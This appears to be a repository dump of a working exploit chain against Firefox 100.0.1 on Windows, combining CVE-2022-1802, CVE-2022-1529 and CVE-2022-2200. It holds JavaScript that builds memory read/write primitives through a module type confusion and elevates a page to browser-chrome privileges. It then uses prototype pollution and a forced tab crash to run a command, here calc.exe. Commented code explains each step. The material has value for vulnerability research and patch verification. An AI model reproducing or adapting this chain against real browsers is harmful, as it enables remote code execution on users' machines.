[
  {
    "path": "1.mjs",
    "content": "import \"./2.mjs\";\r\nfunction one() {\r\n    return 42;\r\n}\r\nawait one();"
  },
  {
    "path": "2.mjs",
    "content": "function two() {\r\n    return 42;\r\n} \r\nawait two();"
  },
  {
    "path": "README.md",
    "content": "# CVE-2022-1802 + CVE-2022-1529 + CVE-2022-2200\r\nTested against Firefox 100.0.1 (Windows)\r\nhttps://ftp.mozilla.org/pub/firefox/releases/100.0.1/win64/en-US/Firefox%20Setup%20100.0.1.exe"
  },
  {
    "path": "crash.html",
    "content": "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n<meta charset=\"utf-8\">\r\n<link rel=\"icon\" href=\"data:,\" />\r\n<title>exploit</title>\r\n<script src=\"exploit.js\"></script>\r\n<script>\r\nconsole.log(\"load bearing\");\r\ninstall_primitives().then(() => {\r\n    write_u64(0x0, 0xD1EEEEEEEEEEEEEE);\r\n});\r\n</script>\r\n</head>\r\n<body>\r\n<br />\r\n</body>\r\n</html>\r\n\r\n"
  },
  {
    "path": "exploit.html",
    "content": "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n<meta charset=\"utf-8\">\r\n<link rel=\"icon\" href=\"data:,\" />\r\n<title>exploit</title>\r\n<script src=\"exploit.js\"></script>\r\n<script>\r\nvar offsets = {};\r\n\r\nvar url_params = new URLSearchParams(location.search);\r\nvar debug = url_params.has(\"debug\");\r\nif(debug) {\r\n    offsets = {\r\n        gSystemPrincipal : 0x69699C0n,\r\n        realm_principals : 0x130n,\r\n        realm_isSystem : 0x224n,\r\n    };\r\n} else {\r\n    offsets = {\r\n        gSystemPrincipal : 0x5F4DBC8n,\r\n        realm_principals : 0x138n,\r\n        realm_isSystem : 0x22Cn,\r\n    };\r\n}\r\n\r\nvar privileged_window = null;\r\nvar ChromeUtils = null;\r\nvar Components = null;\r\nvar Services = null;\r\n\r\nfunction sleep(ms) {\r\n    return new Promise(resolve => setTimeout(resolve, ms));\r\n}\r\n\r\n//Find the base of xul.dll by searching backwards from a known address\r\n//for the DOS Header magic number \"MZ\"\r\nfunction find_xul_base(src_addr) {\r\n    let addr = src_addr & ~(0x10000n - 1n);\r\n    while(true) {\r\n        let val = read_u16(addr);\r\n        if(val == 0x5A4D) { //ZM\r\n            return addr;\r\n        }\r\n        addr -= 0x10000n;\r\n    }\r\n    return false;\r\n}\r\n\r\n//CVE-2022-1529: Untrusted input used in JavaScript object indexing, leading to prototype pollution\r\n//https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/dom/notification/old/NotificationDB.jsm#L361\r\n//\r\n//The vulnerable line:\r\n//      this.notifications[origin][notification.id] = notification;\r\n//\r\n//\"notification\" comes from an IPC message sent via \"sendSyncMessage\". \r\n//The object sent by sendSyncMessage will become a structured clone \r\n//on the receiving side.\r\n//\r\n//We can only send JS objects supported by the structured clone algorithm.\r\n//So no getters or functions or anything like that :(\r\n//\r\n//One limitation of this prototype pollution bug is that we need to set the\r\n//\"id\" property on the notification object to control the second array parameter.\r\n//This limits the kinds of JS types we can send. We can set properties on \r\n//JS object and array types but other JS types such as ints, string, maps, sets \r\n//don't retain properties after going through the structured clone algorithm.\r\n//\r\n//Interestingly we can use the bug itself to overcome this limitation.\r\n//As mentioned previously we can set properties for Array objects\r\n//\r\n//Consider the case of pollute_prototype(\"foo\", \"bar\")\r\n//\r\n//We send a Notification:Save message with this Array as the notification value.\r\n//The key in this case is \"foo\".\r\n//    let arr = [\"foo\"];\r\n//    arr.id = \"id\";\r\n//    Services.cpmm.sendSyncMessage(\"Notification:Save\", {\r\n//        origin : \"__proto__\",\r\n//        notification : arr,\r\n//    });\r\n//\r\n//On the vulnerable receiving side this ends up with:\r\n//    this.notifications[\"__proto__\"][\"id\"] = [\"foo\"];\r\n//\r\n//This adds the \"id\" property to the Object.prototype.\r\n//    Object.prototype.id = [\"foo\"];\r\n//\r\n//We then send another Notification:Save message with the value \"bar\" as the \r\n//notification value.\r\n//\r\n//    Services.cpmm.sendSyncMessage(\"Notification:Save\", {\r\n//        origin : \"__proto__\",\r\n//        notification : \"bar\",\r\n//    });\r\n//\r\n//On the vulnerable receiving side this ends up with:\r\n//    this.notifications[\"__proto__\"][\"bar\".id] = \"bar\";\r\n//\r\n//The notification object (\"bar\") we sent had no \"id\" property. So the the object's\r\n//prototype chain is traversed for the \"id\" property. The \"id\" property exists on the\r\n//Object.prototype so that value [\"foo\"] is used.\r\n//Even though Object.prototype.id is a Array type it gets converted to a string when\r\n//used as an array property name.\r\n//\r\n//This add the \"foo\" property to the Object.prototype. \r\n//    Object.prototype.foo = \"bar\";\r\n\r\nfunction pollute_prototype(key, value) {\r\n    let arr = [key];\r\n    arr.id = \"id\";\r\n    Services.cpmm.sendSyncMessage(\"Notification:Save\", {\r\n        origin : \"__proto__\",\r\n        notification : arr,\r\n    });\r\n    Services.cpmm.sendSyncMessage(\"Notification:Save\", {\r\n        origin : \"__proto__\",\r\n        notification : value,\r\n    });\r\n}\r\n\r\nfunction cleanup_pollution(key) {\r\n    Services.cpmm.sendSyncMessage(\"Notification:Delete\", {\r\n        origin : \"__proto__\",\r\n        id : key,\r\n    });\r\n}\r\n\r\n//Uses the technique detailed in this blog to load privileged variables\r\n//such as \"ChromeUtils\" and \"Services\". One thing of note is that the \r\n//memory layout of some structures are different than those in the blog post.\r\n//https://blog.exodusintel.com/2020/11/10/firefox-vulnerability-research-part-2/\r\n\r\nfunction load_privileged_vars() {\r\n    //The removal of the \"load bearing\" log statement reduces reliability\r\n    //of the nursery heap layout. For some reason if you move the log statement\r\n    //into the \"install_primitives\" function it doesn't have the same effect.\r\n    //This is pretty lame and needs to be investigated further.\r\n    console.log(\"load bearing\");\r\n    let promise = new Promise((resolve, reject) => {\r\n        install_primitives().then(() => {\r\n            console.log(\"primitives installed!\");\r\n            \r\n            let obj = {};\r\n            let obj_addr = addr_of(obj);\r\n            let slots_addr = obj_addr + 8n;\r\n            let emptyObjectSlotsHeaders = read_u64(slots_addr);\r\n            \r\n            console.log(\"obj_addr \" + hex(obj_addr));\r\n                                    \r\n            let xul_base = find_xul_base(emptyObjectSlotsHeaders);\r\n            if(!xul_base) {\r\n                return reject(new Error(\"xul_base not found\"));\r\n            }\r\n            console.log(\"xul_base found at \" + hex(xul_base));\r\n            \r\n            let gSystemPrincipal_addr = xul_base + offsets.gSystemPrincipal;\r\n            let gSystemPrincipal = read_u64(gSystemPrincipal_addr);\r\n            \r\n            console.log(\"gSystemPrincipal_addr \" + hex(gSystemPrincipal_addr));\r\n            console.log(\"gSystemPrincipal \" + hex(gSystemPrincipal));\r\n\r\n            let iframe = document.createElement(\"iframe\"); //extend lifetime ????\r\n            \r\n            let iframe_addr = addr_of(iframe);\r\n            let shape = read_u64(iframe_addr);\r\n            let base_shape = read_u64(shape);\r\n            let realm = read_u64(base_shape + 8n);\r\n            let principals__addr = realm + offsets.realm_principals;\r\n            let principals = read_u64(principals__addr);\r\n            write_u64(principals__addr, gSystemPrincipal + 8n);\r\n            \r\n            let isSystem__addr = realm + offsets.realm_isSystem;\r\n            write_u8(isSystem__addr, 1);\r\n\r\n            console.log(\"iframe addr \" + hex(iframe_addr));\r\n            console.log(\"shape \" + hex(shape));\r\n            console.log(\"base_shape \" + hex(base_shape));\r\n            console.log(\"realm \" + hex(realm));\r\n            console.log(\"principals \" + hex(principals));\r\n            console.log(\"principals__addr \" + hex(principals__addr));\r\n            \r\n            let html_frame_element = read_u64(iframe_addr + 0x18n); //HTMLIFrameElement\r\n            let mNodeInfo = read_u64(html_frame_element + 0x20n);\r\n            let mOwnerManager = read_u64(mNodeInfo + 0x40n);\r\n            let mPrincipal_addr = mOwnerManager + 0x38n\r\n            let mPrincipal = read_u64(mPrincipal_addr);\r\n            write_u64(mPrincipal_addr, gSystemPrincipal);\r\n            \r\n            console.log(\"html_frame_element \" + hex(html_frame_element));\r\n            console.log(\"mNodeInfo \" + hex(mNodeInfo));\r\n            console.log(\"mOwnerManager \" + hex(mOwnerManager));\r\n            console.log(\"mPrincipal\", hex(mPrincipal));\r\n            console.log(\"mPrincipal_addr \" + hex(mPrincipal_addr));        \r\n\r\n            //We need to revert these structures or it causes a crash eventually\r\n            promise.cleanup = () => {\r\n                console.log(\"cleanup kru\");\r\n                write_u64(principals__addr, principals);\r\n                write_u64(mPrincipal_addr, mPrincipal);\r\n                write_u8(isSystem__addr, 0);\r\n            };\r\n            \r\n            iframe.src = \"about:config\";\r\n            //iframe.setAttribute(\"hidden\", \"hidden\");\r\n            iframe.onload = function() {\r\n                try {\r\n                    privileged_window = iframe.contentWindow;\r\n                    ChromeUtils = privileged_window.ChromeUtils;\r\n                    Components = privileged_window.Components;\r\n                    Services = ChromeUtils.import(\"resource://gre/modules/Services.jsm\").Services;\r\n                    \r\n                    console.log(\"iframe loaded\", iframe);\r\n                    console.log(\"privileged_window\", privileged_window);\r\n                    console.log(\"ChromeUtils\", ChromeUtils);\r\n                    console.log(\"Services\", Services);\r\n                    \r\n                    document.body.removeChild(iframe);\r\n                    \r\n                    resolve();\r\n                } catch(err) {\r\n                    reject(err);\r\n                }\r\n            };\r\n            document.body.appendChild(iframe);\r\n        }).catch((err) => {\r\n            console.log(\"install_primitives failed\");\r\n            reject(err);\r\n        });\r\n    });\r\n    return promise;\r\n}\r\n\r\n\r\nfunction pwn() {\r\n    //https://www.zerodayinitiative.com/blog/2022/8/23/but-you-told-me-you-were-safe-attacking-the-mozilla-firefox-renderer-part-2\r\n    //Shout out to @_manfp, @hosselot and the good folks at ZDI !!!\r\n    let promise = load_privileged_vars();\r\n    promise.then(() => {\r\n        if(sessionStorage.getItem(\"pwned\")) {\r\n            console.log(\"matrix reloaded\");\r\n            sessionStorage.removeItem(\"pwned\");\r\n            return;\r\n        }\r\n        console.log(\"pwning\");\r\n        sessionStorage.setItem(\"pwned\", true);\r\n        \r\n        let payload = `\r\ntry {\r\n    console.log(\"running payload\");\r\n    delete Object.prototype.onoverflow;\r\n    delete Object.prototype.style;\r\n\r\n    for(let tab = this; tab != null; tab = tab.previousSibling) {\r\n        tab.removeAttribute(\"onoverflow\");\r\n        tab.removeAttribute(\"style\");\r\n    }\r\n    \r\n    let gBrowser = window.gBrowser;\r\n    let selected_tab = gBrowser._selectedTab;\r\n    //NOTE: wtf! sometimes to onoverflow event triggers while the \r\n    //page is still about:blank... so we have to check for this...\r\n    //this bug is hard to reproduce :'(\r\n    let is_about_blank = (selected_tab._fullLabel == \"New Tab\");\r\n    if(is_about_blank) {\r\n        console.log(\" is_about_blank!!!\", selected_tab);\r\n    }\r\n    let item = selected_tab.attributes.getNamedItem(\"crashed\");\r\n    let is_crashed = item && item.nodeValue;\r\n    \r\n    if(is_crashed || is_about_blank) {\r\n        gBrowser.removeTab(selected_tab);\r\n        \r\n        let { Subprocess } = ChromeUtils.import(\"resource://gre/modules/Subprocess.jsm\");\r\n        let result = Subprocess.call({ command: \"C:\\\\\\\\windows\\\\\\\\system32\\\\\\\\calc.exe\" });\r\n    }\r\n} catch(err) {\r\n    console.log(err);\r\n}\r\n        `;\r\n        \r\n        pollute_prototype(\"onoverflow\", payload);\r\n        pollute_prototype(\"style\", \"text-indent: 500px\");\r\n        cleanup_pollution(\"id\");\r\n\r\n        //seems more reliable if we open a about:blank window first and then \r\n        //redirect to crash.html. I don't really know why....\r\n        console.log(\"blank window\");\r\n        //CVE-2022-2200 triggered here by causing a tab to crash.\r\n        //Crashing codepath eventually reaches here:\r\n        //https://searchfox.org/mozilla-central/rev/6d396b2abda4371f54251e9de8dc790deab706fc/browser/components/sessionstore/TabAttributes.jsm#63\r\n        //set(tab, data = {}) {\r\n        //    // Clear attributes.\r\n        //    for (let name of this._attrs) {\r\n        //        tab.removeAttribute(name);\r\n        //    }\r\n        //\r\n        //    // Set attributes.\r\n        //    for (let name in data) {\r\n        //        if (!ATTRIBUTES_TO_SKIP.has(name)) {\r\n        //            tab.setAttribute(name, data[name]);\r\n        //        }\r\n        //    }\r\n        //},\r\n        //\r\n        //The \"for (let name in data)\" loop is the sink for our prototype pollution.\r\n        //See: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in\r\n        //This allows us to set an attribute on the tab. Namely the \"style\" and \"onoverflow\" attributes\r\n        //will be added to the tab.\r\n        let win = Services.ww.openWindow(\r\n                window, \"about:blank\", \"crashwin\", null, null);\r\n        console.log(\"crash window\");\r\n        win.location = \"crash.html\";\r\n        console.log(\"pwned!\");\r\n        \r\n    }).catch((err) => {\r\n        console.log(\"exploit failed!\", err);\r\n    }).finally(() => {\r\n        //HACK: the crash seems to be cause any finally's\r\n        //placed on the promise to trigger early\r\n        promise.cleanup();\r\n    });\r\n}\r\n\r\nfunction break_() {\r\n    Math.atan2(0);\r\n}\r\n\r\nwindow.onload = pwn;\r\n</script>\r\n</head>\r\n<body>\r\n<button onclick=\"break_()\">break</button>\r\n<button onclick=\"garbage_collect()\">GC</button>\r\n<br />\r\n</body>\r\n</html>"
  },
  {
    "path": "exploit.js",
    "content": "//CVE-2022-1802\r\n\r\nvar call_count = 0;\r\nvar do_capture = false;\r\n\r\nvar fake_mod = null;\r\nvar oob_arr = null;\r\n\r\nvar tmp_u32_arr1 = null;\r\nvar tmp_u32_arr2 = null;\r\n\r\nvar ab1 = null;\r\nlet ab1_view = null;\r\n\r\nvar ab2 = null;\r\n\r\nfunction hex(val) {\r\n    val = Number(val);\r\n    let result = \"0x\" + val.toString(16);\r\n    return result;\r\n}\r\n\r\nObject.defineProperty(BigInt.prototype, \"lo\", {\r\n    get: function() {\r\n        let lo = this & 0xFFFFFFFFn;\r\n        return Number(lo);\r\n    }\r\n});\r\nObject.defineProperty(BigInt.prototype, \"hi\", {\r\n    get: function() {\r\n        let hi = (this >> 32n) & 0xFFFFFFFFn;\r\n        return Number(hi);\r\n    }\r\n});\r\n\r\nfunction garbage_collect() {\r\n    for(let i = 0; i < 3; i++) {\r\n        new ArrayBuffer(128 * 1024 * 1024);\r\n    }\r\n}\r\n\r\n//The best way to understand this is to set a breakpoint on this line\r\n//https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2288\r\n//and start single stepping.\r\n\r\nfunction allocate_objects() {\r\n    //ArrayBuffer's are allocated on the Tenured heap\r\n    ab1 = new ArrayBuffer(8);\r\n    ab2 = new ArrayBuffer(8);\r\n    ab2.a = 0x1337;\r\n    \r\n    //These objects are allocated on the Nursery heap\r\n    \r\n    let fake_script = {};\r\n\r\n    //From DOARE:\r\n    // new Array vs [] ensures that the array is allocated\r\n    // from the nursery as it does in firefox. But not in js.exe.\r\n    //\r\n    oob_arr = new Array(); \r\n\r\n    //These properties are allocated inline from the fake_mod JS object\r\n    //Interestingly if you execute this same line in the global scope\r\n    //the object gets allocated directly on the Tenured heap.\r\n    fake_mod = {\r\n        //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L1231\r\n        ScriptSlot: fake_script, //self->script()\r\n        EnvironmentSlot: 0x11111111,\r\n        NamespaceSlot: 0x22222222,\r\n        //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L879\r\n        StatusSlot: 0, // if (status() < MODULE_STATUS_LINKED)\r\n    };\r\n    //Writing 7 elements causes the elements_ array of oob_arr to be reallocated\r\n    //directly after fake_mod\r\n    for(let i = 0; i < 7; i++) {\r\n        oob_arr[i] = 0x11111111;\r\n    }\r\n    \r\n    tmp_u32_arr1 = new Uint32Array(4);\r\n    tmp_u32_arr1.fill(0x66);\r\n    \r\n    tmp_u32_arr2 = new Uint32Array(0x10);\r\n    tmp_u32_arr2.ab1 = ab1;\r\n    tmp_u32_arr2.fill(0x77);\r\n    \r\n    \r\n    //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2295\r\n    fake_mod.AsyncSlot = false; // m->isAsync()\r\n    \r\n    //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2290\r\n    fake_mod.AsyncEvaluatingPostOrderSlot = true; // m->isAsyncEvaluating()\r\n    \r\n    //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2359\r\n    fake_mod.TopLevelCapabilitySlot = undefined; // if (module->hasTopLevelCapability())\r\n        \r\n    //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2355\r\n    fake_mod.AsyncParentModulesSlot = undefined; // placeholder\r\n    \r\n    //console.log(\"0x\" + objectAddress(ab1));\r\n    //console.log(\"0x\" + objectAddress(ab2));\r\n    //console.log(\"0x\" + objectAddress(fake_script));\r\n    //console.log(\"0x\" + objectAddress(oob_arr));\r\n    //console.log(\"0x\" + objectAddress(fake_mod));\r\n    //console.log(\"0x\" + objectAddress(tmp_u32_arr1));\r\n    //console.log(\"0x\" + objectAddress(tmp_u32_arr2));\r\n    //console.log(\"0x\" + objectAddress(allocate_objects));\r\n}\r\n\r\nfunction setter(original) {\r\n    try {\r\n        console.log(\"Array.prototype[0] setter called\");\r\n        Reflect.deleteProperty(Array.prototype, \"0\");\r\n        this[0] = original;\r\n        \r\n        //The self-hosted Module.js is not explicitly visible to us\r\n        //and .caller will be reported as null\r\n        if(do_capture && arguments.callee.caller == null) {\r\n            if(call_count == 0) {\r\n                let module = original;\r\n                console.log(\"replacing module with fake_mod\");\r\n                //This is really important as it allows the \"import(...)\" promise to be \r\n                //rejected properly. This tells us when the initial corruption has completed.\r\n                // AsyncModuleExecutionRejected(cx, parent, error)\r\n                fake_mod.AsyncParentModulesSlot = [ module ];\r\n                this[0] = fake_mod;\r\n            }\r\n            call_count++;\r\n        }\r\n        //install_setter();\r\n    } catch(e) {\r\n        console.log(e);\r\n    }\r\n}\r\n\r\nfunction install_setter() {\r\n    Object.defineProperty(Array.prototype, \"0\", {\r\n        set: setter,\r\n        configurable: true,\r\n    });\r\n}\r\n\r\nfunction make_addr(lo, hi) {\r\n    hi = BigInt(hi);\r\n    lo = BigInt(lo);\r\n    let result = ((hi << 32n) | lo);\r\n    return result;\r\n}\r\n\r\nfunction tag_obj(addr) {\r\n    let result = (0x1FFFCn << 47n) | addr;\r\n    return result;\r\n}\r\n\r\nfunction untag_addr(addr) {\r\n    let result = addr & (1n << 47n)-1n;\r\n    return result;\r\n}\r\n\r\nfunction install_primitives() {\r\n    garbage_collect();\r\n    allocate_objects();\r\n    install_setter();\r\n    return new Promise((resolve, reject) => {\r\n        do_capture = true;\r\n        \r\n        //trigger type confusion\r\n        import(\"./1.mjs\").then(() => {\r\n           return reject(new Error(\"This firefox version is not vulnerable!\"));\r\n        }).catch(() => {\r\n            console.log(\"corruption underway\");\r\n            \r\n            //overwrite length of tmp_u32_arr1 with a large value\r\n            oob_arr[19] = 0xBEEF;  \r\n            \r\n            if(tmp_u32_arr1.length == 4) {\r\n                return reject(new Error(\"couldn't corrupt tmp_u32_arr1 :(\"));\r\n            }\r\n            \r\n            //https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#kaizenjs\r\n            //Uses @0vercl0k's technique of using 2 ArrayBuffers for stable primitives\r\n            \r\n            //read the pointer to ab1\r\n            let ab1_addr = make_addr(tmp_u32_arr1[42], tmp_u32_arr1[43]);\r\n            ab1_addr = untag_addr(ab1_addr);\r\n            \r\n            //overwrite tmp_u32_arr2's backing store to the address of ab1\r\n            let tmp_u32_arr2_backing_store = make_addr(tmp_u32_arr1[22], tmp_u32_arr1[23]);\r\n            tmp_u32_arr1[22] = ab1_addr.lo;\r\n            tmp_u32_arr1[23] = ab1_addr.hi;\r\n                        \r\n            //overwrite ab1's size\r\n            tmp_u32_arr2[8] = 0x60; //0x58\r\n            \r\n            ab1_view = new Uint32Array(ab1);\r\n            let original_ab2_store = make_addr(ab1_view[14], ab1_view[15]);            \r\n            \r\n            //cleanup corrupted structures so GC doesn't crash\r\n            tmp_u32_arr1[22] = tmp_u32_arr2_backing_store.lo;\r\n            tmp_u32_arr1[23] = tmp_u32_arr2_backing_store.hi;\r\n            \r\n            let oob_arr_addr = addr_of(oob_arr);\r\n            let oob_arr_elements = read_u64(oob_arr_addr + 0x10n);\r\n            let oob_arr_elements_hdr_addr = oob_arr_elements - 0x10n;\r\n            write_u32(oob_arr_elements_hdr_addr, 0);\r\n            write_u32(oob_arr_elements_hdr_addr + 4n, 7);\r\n            \r\n            let tmp_u32_arr1_addr = addr_of(tmp_u32_arr1);\r\n            let tmp_u32_arr1_len_addr = tmp_u32_arr1_addr + 0x20n;\r\n            write_u32(tmp_u32_arr1_len_addr, 4);\r\n            write_u32(tmp_u32_arr1_len_addr + 4n, 0);\r\n\r\n            return resolve();\r\n        }).finally(() => {\r\n            do_capture = false;\r\n        });\r\n    });\r\n}\r\n\r\nfunction fake_obj(addr) {\r\n    let tagged_addr = tag_obj(addr);\r\n    \r\n    let ab2_slots_ = make_addr(ab1_view[10], ab1_view[11]);\r\n    write_u64(ab2_slots_, tagged_addr);\r\n            \r\n    let result = ab2.a;\r\n    \r\n    ab2.a = null;\r\n    \r\n    return result;\r\n}\r\n\r\nfunction addr_of(obj) {\r\n    ab2.a = obj;\r\n    \r\n    let ab2_slots_ = make_addr(ab1_view[10], ab1_view[11]);\r\n    \r\n    let addr = read_u64(ab2_slots_);\r\n    \r\n    let result = untag_addr(addr);\r\n    \r\n    ab2.a = null;\r\n    \r\n    return result;\r\n}\r\n\r\nfunction read_u16(addr) {\r\n    if(addr instanceof Number) {\r\n        addr = BigInt(addr);\r\n    }\r\n    ab1_view[14] = addr.lo;\r\n    ab1_view[15] = addr.hi;\r\n    \r\n    let view = new Uint16Array(ab2);\r\n    let result = view[0];\r\n\r\n    return result;\r\n}\r\n\r\nfunction read_u32(addr) {\r\n    if(addr instanceof Number) {\r\n        addr = BigInt(addr);\r\n    }\r\n    ab1_view[14] = addr.lo;\r\n    ab1_view[15] = addr.hi;\r\n    \r\n    let view = new Uint32Array(ab2);\r\n    let result = view[0];\r\n\r\n    return result;\r\n}\r\n\r\nfunction read_u64(addr) {\r\n    if(addr instanceof Number) {\r\n        addr = BigInt(addr);\r\n    }\r\n    ab1_view[14] = addr.lo;\r\n    ab1_view[15] = addr.hi;\r\n    \r\n    let view = new Uint32Array(ab2);\r\n    let lo = BigInt(view[0]);\r\n    let hi = BigInt(view[1]);\r\n    \r\n    let result = (hi << 32n) | lo;\r\n    \r\n    return result;\r\n}\r\n\r\nfunction write_u8(addr, val) {\r\n    if(addr instanceof Number) {\r\n        addr = BigInt(addr);\r\n    }\r\n    ab1_view[14] = addr.lo;\r\n    ab1_view[15] = addr.hi;\r\n    \r\n    let view = new Uint8Array(ab2);\r\n    view[0] = val;\r\n}\r\n\r\nfunction write_u32(addr, val) {\r\n    if(addr instanceof Number) {\r\n        addr = BigInt(addr);\r\n    }\r\n    ab1_view[14] = addr.lo;\r\n    ab1_view[15] = addr.hi;\r\n    \r\n    let view = new Uint32Array(ab2);\r\n    view[0] = val;\r\n}\r\n\r\nfunction write_u64(addr, value) {\r\n    if(addr instanceof Number) {\r\n        addr = BigInt(addr);\r\n    }\r\n    if(value instanceof Number) {\r\n        value = BigInt(value);\r\n    }\r\n    ab1_view[14] = addr.lo;\r\n    ab1_view[15] = addr.hi;\r\n    \r\n    let view = new Uint32Array(ab2);\r\n    view[0] = value.lo;\r\n    view[1] = value.hi;\r\n}\r\n\r\nfunction pwn_test() {\r\n    install_primitives().then(() => {\r\n        console.log(\"primitives installed!\");\r\n    }).catch((err) => {\r\n        console.log(\"exploit failed :(\", err);\r\n    });\r\n}\r\n\r\nif(this[\"window\"] == undefined) {\r\n    pwn_test();\r\n}\r\n"
  }
]